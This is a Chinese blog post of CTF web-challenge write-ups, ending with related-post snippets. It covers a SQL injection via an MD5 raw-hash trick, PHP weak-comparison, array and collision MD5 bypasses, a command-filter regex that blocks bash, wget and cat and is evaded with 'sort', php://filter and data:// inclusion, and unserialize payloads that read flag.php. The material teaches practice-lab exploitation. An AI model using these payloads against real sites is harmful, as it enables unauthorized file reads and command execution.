2web wp

已于 2023-03-26 10:20:34 修改
阅读量209 收藏 1
点赞数 1
文章标签： 安全 数据库 sql
于 2023-03-23 10:56:56 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/TMNOA/article/details/129726143
版权

[BJDCTF2020]Easy MD5

1.用burp抓包

回包有点信息，是个sql查询语句，后面的password经过MD5处理过了，有注入的漏洞
我们只需要把语句拼接为
select * from 'admin' where password=‘xxx’ or ‘1就可以绕过这个语句
查一下 ffifdyop的md5值可以是 xxx'or'1

2.输入后，到新界面，查看源码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

PHP在处理哈希字符串时，会利用”!=”或”==”来对哈希值进行比较，它把每一个以”0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以”0E”开头的，那么PHP将会认为他们相同，都是0。

构造例子   QNKCDZO    240610708

playload   ?a=QNKCDZO&b=240610708

3.后到新界面

用数组绕过  payload: /?a[]=1&b[]=2

原理 md5()函数无法加密数组，两边都会返回NULL

 

[MRCTF2020]Ez_bypass

1.打开后如下

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}<br />

2.(md5($id) === md5($gg) && $id !== $gg)=true

传入数组，md5后都为null，但键值需不同

如 ?id[]=1&gg[]=2

3.(!is_numeric($passwd) && $passwd==1234567)=true
弱比较 post传入 passwd=1234567xxx   后得到flag

[安洵杯 2019]easy_web

1.对url中神似base64的编码 MzUzNTM1MmU3MDZlNjc= 解码 得到3535352e706e67

再解码得555.png

2.尝试对index.php像上面那样进行反加密，得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
输入url中

3.得到index.php源码的base64编码形式 解码后得到如下代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
......

4.观察可知，满足以下，即可执行输出cmd的命令

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

这里绕过MD5函数的比较，又因为强行进行了string转换，所以我们这里不能进行数组绕过md5；所以这里需要构造出满足这样条件的md5，如下

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

post提交

5.没有禁用dir，用其查看根目录

cmd=dir/

查找到flag

6.cat禁用，sort进行读取 cmd=sort/flag 得到flag

BUUCTF：[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

1.

这里我们肯定不存在一个文件，并且该文件的内容为welcome to the zjctf

所以可以使用data伪协议进行绕过

?text=data://text/plain,welcome to the zjctf

data://伪协议，是数据流封装器，和php://相似，都是利用了流的概念，将原本的include的文件流重定向到了用户可控制的输入流中，简单来说就是执行文件的包含方法包含了你的输入流，通过包含你输入的payload来实现目的。
格式：?file=data://text/plain,payload ?>

2.

我们可以使用php://filter伪协议查看源码
 

file=php://filter/read=convert.base64-encode/resource=useless.php

php://filter：


php://filter是一种元封装器，是PHP中特有的协议流，设计用于数据流打开时的筛选过滤应用，作用是作为一个“中间流”来处理其他流。

php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。

名称描述备注
resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选       
read=<读链的筛选列表>可以设定一个或多个过滤器名称，以管道符分隔可选
write=<写链的筛选列表>可以设定一个或多个过滤器名称，以管道符分隔。可选
<；两个链的筛选列表>任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。


 

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到PD9waHANCgkNCgkkZj1mb3BlbigicGhwOi8vb3V0cHV0IiwiYSIpOw0KCWZ3cml0ZSgkZiwidGhpcyBpcyBhIHNlbnRlbmNlIik7DQoJZmNsb3NlKCRmKTsNCj8+

base64解码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

3.

$password = unserialize($password);
echo $password;

构造Flag对象 序列化

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag
[网鼎杯 2020 青龙组]AreUSerialz 1

 <?php
 
include("flag.php");
 
highlight_file(__FILE__);
 
class FileHandler {
 
    protected $op;
    protected $filename;
    protected $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
 
}
 
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
 
if(isset($_GET{'str'})) {
 
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
 
}

观察得知，这题为序列化和代码审计

1.

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

先看反序列化这段，get传参str，is_valid函数对这道题没影响，if中对str反序列化

2.

function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

观察这两段，得知构造该类的对象时，使op=2，可运行read和output函数。

3.

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

看read函数这段，是读取文件内容，那么我们使filename为flag.php，便可通过op=2输出flag.php中的内容

4.写一段代码

<?php
class FileHandler {
    public $op = ' 2';
    public $filename = 'flag.php';
    public $content = '';
}
$a = new FileHandler();
echo serialize($a);
?>

得到playload如下：

?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

5.转到新界面，查看源代码，得到flag

TLMOA
关注
BUUCTF训练打卡
Leo8283的博客
04-26 676
BJDCTF2020]ZJCTF，不过如此 首先 ？text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php 或者 者 https://www.cnblogs.com/wangtanzhi/p/12328083.html https://xz.aliyun.com/t/2557 payload:/S*=${phpinf
2022强网杯web方向wp
xjh8023的博客
08-01 1522
考点文件泄露，、文件上传、文件包含、反序列化1.扫描目录存在www.zip,存在源码泄露2.代码审计,写一个inc文件内容为上传该文件，修改类型为image/jpeg2.进行反序列化，new一个类3.抓包将反序列化的值赋值给userfile,发包得到fla。...
PHP安全相关知识
热门推荐
wanan的博客
10-07 2万+
PHP安全相关知识
buu web 41-44 writeup
Sk1y的博客
03-02 561
buu web 41-44 writeup [安洵杯 2019]easy_web [BJDCTF2020]Mark loves [BJDCTF2020]The mystery of ip [GWCTF 2019]我有一个数据库 相关资料
md5一些绕过方法
m0_56059226的博客
07-16 2654
弱比较 if($_POST['a']!=$_POST['b']&& md5($_POST['a'])==md5($_POST['b'])){ die("success!"); } 在这样的弱比较里，0e开头的会被识别成科学计数法，结果均为0，比较时0=0为true绕过 payload： a=QNKCDZO&b=s878926199a 常用md5加密后为0的字符串： 240610708，aabg7XSs，aabC9RqS s878926199a 0e215962017...
[安洵杯 2019]easy_web
m0_62092622的博客
03-19 3118
看网址发现一串base64字符 那就把后面的一串base64解码 解码网站：Base64 在线编码解码 | Base64 加密解密 - Base64.us 两次解码结果是`3535352e706e67` 然后再十六进制转字符 转换网站：16进制转换，16进制转换文本字符串，在线16进制转换 | 在线工具 结果是`555.png` 访问555.png发现正是左上角这张图片 反推index.php 结果是`TmprMlpUWTBOalUzT0RKbE56QTJPRGN3` 再次查看in...
Web编程2：wp2
02-12
在本项目"Web编程2：wp2"中，我们将深入探讨网络编程的各个方面，特别是与PHP相关的技术。项目成员包括Rifki Azizi和18090020号学员，以及团队成员5A。从提供的文件名"Web-Programming-2-main"来看，这可能是一个...
实验吧WEB题目WP
08-10
标题《实验吧WEB题目WP》指的是参与“实验吧”平台上一系列与Web安全相关的挑战题目的解答方案（Writeups，简称WP）。这些挑战通常涵盖了多种Web安全问题，包括但不限于代码审计、服务器配置错误、SQL注入、跨站脚本...
XCTF web wp
Mr_Shiyang的博客
04-13 491
计算字符串 "Hello" 的 MD5 散列：
CtfHub-wp（web）
最新发布
01-23
本文主要探讨了CTF（Capture The Flag）竞赛中与Web安全相关的知识点，通过解决一系列问题，我们可以学习到如何发现和利用网站的漏洞获取关键信息。首先，提到了通过查找网站的备份文件来获取线索，例如在URL后添加...
php 正则匹配反斜杠的问题
qq_45570082的博客
06-09 967
php 正则匹配反斜杠的问题 在做安洵杯 2019的easy web时碰到了php的反斜杠问题，想来研究一下，可以在buuctf上复现一下 稍微修改一下源代码，方便研究 $cmd = $_GET['cmd']; echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|
CTF中的Bypass命令执行
D.MIND 的博客
08-03 3176
linux命令敏感字符绕过 反斜杠： ca\t 1.txt 连接符——单引号： ca''t 1.txt 变量拼接字符： a=ca;b=t;$a$b 1.txt base64编码绕过： `echo 'Y2F0Cg==' | base64 -d` 1.txt 命令提示符$： ca$@t 1.txt //$@ 是传给脚本的所有参数的列表 ca$9t 1.txt //$9 是传递给该shell脚本的第九个参数 ...
正则\绕过
nigo134的博客
07-27 479
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~");.
BUUCTF web2
qq_61768489的博客
04-29 816
[GXYCTF2019]BabyUpload Content-Type 要修改才能传入图片 先上传一个.htaccess 内容如下 再去上传一个 图片马 上传成功连蚁剑 [BUUCTF 2018]Online Tool 大佬总结 BUUCTF 2018 Online Tool_恋物语战场原的博客-CSDN博客_buuctf online [BJDCTF2020]The mystery of ip Smarty的SST ，与flask有很大区别 ，大...
BUU刷题记6
Kanyun的博客
08-05 254
科普：servlet：Servlet（Server Applet）是Java Servlet的简称，称为小服务程序或服务连接器，用Java编写的服务器端程序，具有独立于平台和协议的特性，主要功能在于交互式地浏览和生成数据，生成动态Web内容。其实说明了这个就是JAVA源代码进行编译后所产生的后缀带有.class的东西。help的页面中存在一个filename参数的GET传参，可能存在文件下载漏洞。试用POST方式来进行请求，发现可以下载文件。题目既然是与java相关的，之前了解到。.............
buuctf(探险3)
qq_62046696的博客
08-13 956
if(!strstr($get_flag," ")){ get传参进入的，里面没有空格、str_ireplace(子字符串忽略大小写替换)第二行，就是把get_flag中的cat 换成wctf20220，说白了就是过滤cat那我们先用ls查一下目录可是并没有什么回显，不知道我是哪错了看了大佬解释，说是传入的2e4不需要空格，这些都会自动加上出来了，但是我们查找目录 cat flag中间一定会有空格，的这里肯定是需要一种别的手段绕过一下。...
[安洵杯 2019]easy_web（PHP反斜杠匹配问题）
qq_44111753的博客
02-04 260
知识点： linux命令绕过 cat flag --> ca\t fl\ag 强类型绕过md5 if((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) payload a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%9
BUUCTF easy web中md5的问题
qq_44927883的博客
12-03 1519
看了大家的wp，在绕过下面的md5的时候，都是通过两个特殊的值绕过的，但经测后发现不对。 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } 启动本地php跑一下 <?php echo (string)$_GET['a']; echo "
MD5绕过
qq_63267612的博客
07-03 712
1.0e绕过 弱比较会把0exxxx当做科学计数法，不管后面的值为任何东西，0的任何次幂都为0 要求get获取的a和b的值要求不相等，但要求其md值相同2. 数组绕过 md5()函数计算的是一个字符串的哈希值，对于数组则返回false 传入 可以看到，MD5一个数组返回了null，null==null，成功绕过 3. 强类型绕过 因为强类型比较，不仅比较值，还比较类型，0e会被当做字符串，所以不能用0e来进行 但是可以用MD值完全相同的字符来进行绕过 上面的方法都不能用了，百度发现是强类型绕过 payloa
WP7程序开发入门指南
此外，还会涉及到数据存储，包括Isolated Storage，以及如何通过Web服务（如XML或JSON）进行远程数据访问。 网络通信在WP7应用中也扮演着重要角色，书中的内容可能包括使用HTTP请求进行数据交换，以及集成社交媒体...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值